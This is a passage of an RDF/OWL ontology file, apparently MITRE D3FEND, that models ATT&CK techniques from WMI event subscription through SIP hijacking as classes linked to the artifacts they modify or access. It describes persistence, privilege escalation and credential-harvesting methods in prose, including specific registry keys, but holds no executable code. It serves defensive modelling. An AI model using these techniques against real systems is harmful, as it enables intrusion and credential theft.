    d3f:attack-id "T1546.003" ;
    d3f:definition "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)" ;
    d3f:modifies d3f:EventLog ;
    d3f:produces d3f:IntranetAdministrativeNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:EventLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        d3f:T1546 .

d3f:T1546.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Unix Shell Configuration Modification" ;
    d3f:attack-id "T1546.004" ;
    d3f:definition "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user’s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately." ;
    d3f:modifies d3f:UserInitConfigurationFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:UserInitConfigurationFile ],
        d3f:T1546 .

d3f:T1546.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Trap" ;
    d3f:attack-id "T1546.005" ;
    d3f:definition "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>." ;
    d3f:executes d3f:ShellCommand ;
    d3f:may-create d3f:ExecutableScript ;
    d3f:may-modify d3f:ExecutableScript ;
    d3f:modifies d3f:EventLog ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ExecutableScript ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:EventLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ShellCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:ExecutableScript ],
        d3f:T1546 .

d3f:T1546.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "LC_LOAD_DYLIB Addition" ;
    d3f:attack-id "T1546.006" ;
    d3f:definition "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes." ;
    d3f:modifies d3f:ExecutableBinary ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        d3f:T1546 .

d3f:T1546.007 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Netsh Helper DLL" ;
    d3f:attack-id "T1546.007" ;
    d3f:definition "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>." ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    d3f:produces d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Process ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1546 .

d3f:T1546.008 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Accessibility Features" ;
    d3f:attack-id "T1546.008" ;
    d3f:definition "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system." ;
    d3f:may-create d3f:IntranetAdministrativeNetworkTraffic ;
    d3f:may-modify d3f:ExecutableBinary,
        d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        d3f:T1546 .

d3f:T1546.009 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "AppCert DLLs" ;
    d3f:attack-id "T1546.009" ;
    d3f:definition "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)" ;
    d3f:invokes d3f:CreateProcess ;
    d3f:loads d3f:SharedLibraryFile ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1546 .

d3f:T1546.010 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "AppInit DLLs" ;
    d3f:attack-id "T1546.010" ;
    d3f:definition "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)" ;
    d3f:invokes d3f:CreateProcess ;
    d3f:loads d3f:SharedLibraryFile ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1546 .

d3f:T1546.011 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Shimming" ;
    d3f:attack-id "T1546.011" ;
    d3f:creates d3f:Shim ;
    d3f:definition "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)" ;
    d3f:modifies d3f:ShimDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ShimDatabase ],
        [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:Shim ],
        d3f:T1546 .

d3f:T1546.012 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Image File Execution Options Injection" ;
    d3f:attack-id "T1546.012" ;
    d3f:definition "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)" ;
    d3f:modifies d3f:SystemConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1546 .

d3f:T1546.013 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "PowerShell Profile" ;
    d3f:attack-id "T1546.013" ;
    d3f:definition "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments." ;
    d3f:modifies d3f:PowerShellProfileScript ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:PowerShellProfileScript ],
        d3f:T1546 .

d3f:T1546.014 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Emond" ;
    d3f:attack-id "T1546.014" ;
    d3f:definition "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place." ;
    d3f:may-create d3f:PropertyListFile ;
    d3f:may-modify d3f:PropertyListFile ;
    d3f:modifies d3f:ConfigurationResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ConfigurationResource ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:PropertyListFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:PropertyListFile ],
        d3f:T1546 .

d3f:T1546.015 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Component Object Model Hijacking" ;
    d3f:attack-id "T1546.015" ;
    d3f:definition "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry." ;
    d3f:loads d3f:ExecutableBinary ;
    d3f:modifies d3f:SystemConfigurationDatabase ;
    rdfs:seeAlso <http://dbpedia.org/resource/Component_Object_Model> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1546 .

d3f:T1547.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Registry Run Keys / Startup Folder" ;
    d3f:attack-id "T1547.001" ;
    d3f:definition "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level." ;
    d3f:may-modify d3f:SystemConfigurationInitDatabaseRecord,
        d3f:UserStartupScriptFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationInitDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:UserStartupScriptFile ],
        d3f:T1547 .

d3f:T1547.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Package" ;
    d3f:attack-id "T1547.002" ;
    d3f:definition "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1547 .

d3f:T1547.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Time Providers" ;
    d3f:attack-id "T1547.003" ;
    d3f:definition "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1547 .

d3f:T1547.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Winlogon Helper DLL" ;
    d3f:attack-id "T1547.004" ;
    d3f:definition "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1547 .

d3f:T1547.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Security Support Provider" ;
    d3f:attack-id "T1547.005" ;
    d3f:definition "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs." ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1547 .

d3f:T1547.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kernel Modules and Extensions" ;
    d3f:attack-id "T1547.006" ;
    d3f:definition "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) " ;
    d3f:modifies d3f:KernelModule ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:KernelModule ],
        d3f:T1547 .

d3f:T1547.007 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Re-opened Applications" ;
    d3f:attack-id "T1547.007" ;
    d3f:definition "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon." ;
    d3f:modifies d3f:ApplicationConfigurationFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ApplicationConfigurationFile ],
        d3f:T1547 .

d3f:T1547.008 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "LSASS Driver" ;
    d3f:attack-id "T1547.008" ;
    d3f:definition "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)" ;
    d3f:may-create d3f:SharedLibraryFile ;
    d3f:modifies d3f:SystemServiceSoftware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemServiceSoftware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:T1547 .

d3f:T1547.009 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shortcut Modification" ;
    d3f:attack-id "T1547.009" ;
    d3f:definition "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process." ;
    d3f:may-modify d3f:SymbolicLink,
        d3f:UserStartupScriptFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SymbolicLink ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:UserStartupScriptFile ],
        d3f:T1547 .

d3f:T1547.010 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Port Monitors" ;
    d3f:attack-id "T1547.010" ;
    d3f:definition "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham)" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1547 .

d3f:T1548.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Setuid and Setgid" ;
    d3f:attack-id "T1548.001" ;
    d3f:definition "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges." ;
    d3f:modifies d3f:AccessControlConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AccessControlConfiguration ],
        d3f:T1548 .

d3f:T1548.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bypass User Account Control" ;
    d3f:attack-id "T1548.002" ;
    d3f:definition "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)" ;
    d3f:executes d3f:ExecutableFile ;
    d3f:invokes d3f:CreateProcess ;
    d3f:may-modify d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ExecutableFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:T1548 .

d3f:T1548.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Elevated Execution with Prompt" ;
    d3f:attack-id "T1548.004" ;
    d3f:creates d3f:SystemConfigurationDatabase ;
    d3f:definition "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified." ;
    d3f:invokes d3f:SystemCall ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:T1548 .

d3f:T1550.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Access Token" ;
    d3f:attack-id "T1550.001" ;
    d3f:definition "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials." ;
    d3f:may-produce d3f:NetworkTraffic ;
    d3f:uses d3f:AccessToken ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:T1550 .

d3f:T1550.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pass the Hash" ;
    d3f:attack-id "T1550.002" ;
    d3f:creates d3f:Authentication ;
    d3f:definition "Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:T1550 .

d3f:T1550.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pass the Ticket" ;
    d3f:attack-id "T1550.003" ;
    d3f:creates d3f:Authentication ;
    d3f:definition "Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:T1550 .

d3f:T1550.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Session Cookie" ;
    d3f:adds d3f:SessionCookie ;
    d3f:attack-id "T1550.004" ;
    d3f:definition "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)" ;
    d3f:produces d3f:WebNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:WebNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:SessionCookie ],
        d3f:T1550 .

d3f:T1552.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credentials In Files" ;
    d3f:accesses d3f:File ;
    d3f:attack-id "T1552.001" ;
    d3f:definition "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:File ],
        d3f:T1552 .

d3f:T1552.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credentials in Registry" ;
    d3f:accesses d3f:SystemConfigurationDatabase ;
    d3f:attack-id "T1552.002" ;
    d3f:definition "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1552 .

d3f:T1552.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bash History" ;
    d3f:accesses d3f:CommandHistoryLogFile ;
    d3f:attack-id "T1552.003" ;
    d3f:definition "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:CommandHistoryLogFile ],
        d3f:T1552 .

d3f:T1552.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Private Keys" ;
    d3f:accesses d3f:PrivateKey ;
    d3f:attack-id "T1552.004" ;
    d3f:definition "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:PrivateKey ],
        d3f:T1552 .

d3f:T1552.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Instance Metadata API" ;
    d3f:accesses d3f:CloudInstanceMetadata ;
    d3f:attack-id "T1552.005" ;
    d3f:definition "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:CloudInstanceMetadata ],
        d3f:T1552 .

d3f:T1553.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Gatekeeper Bypass" ;
    d3f:attack-id "T1553.001" ;
    d3f:definition "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )" ;
    d3f:modifies d3f:FileSystemMetadata ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        d3f:T1553 .

d3f:T1553.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Code Signing" ;
    d3f:attack-id "T1553.002" ;
    d3f:definition "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature." ;
    d3f:enables d3f:TA0005 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0005 ],
        d3f:T1553 .

d3f:T1553.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SIP and Trust Provider Hijacking" ;
    d3f:attack-id "T1553.003" ;
    d3f:definition "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1553 .

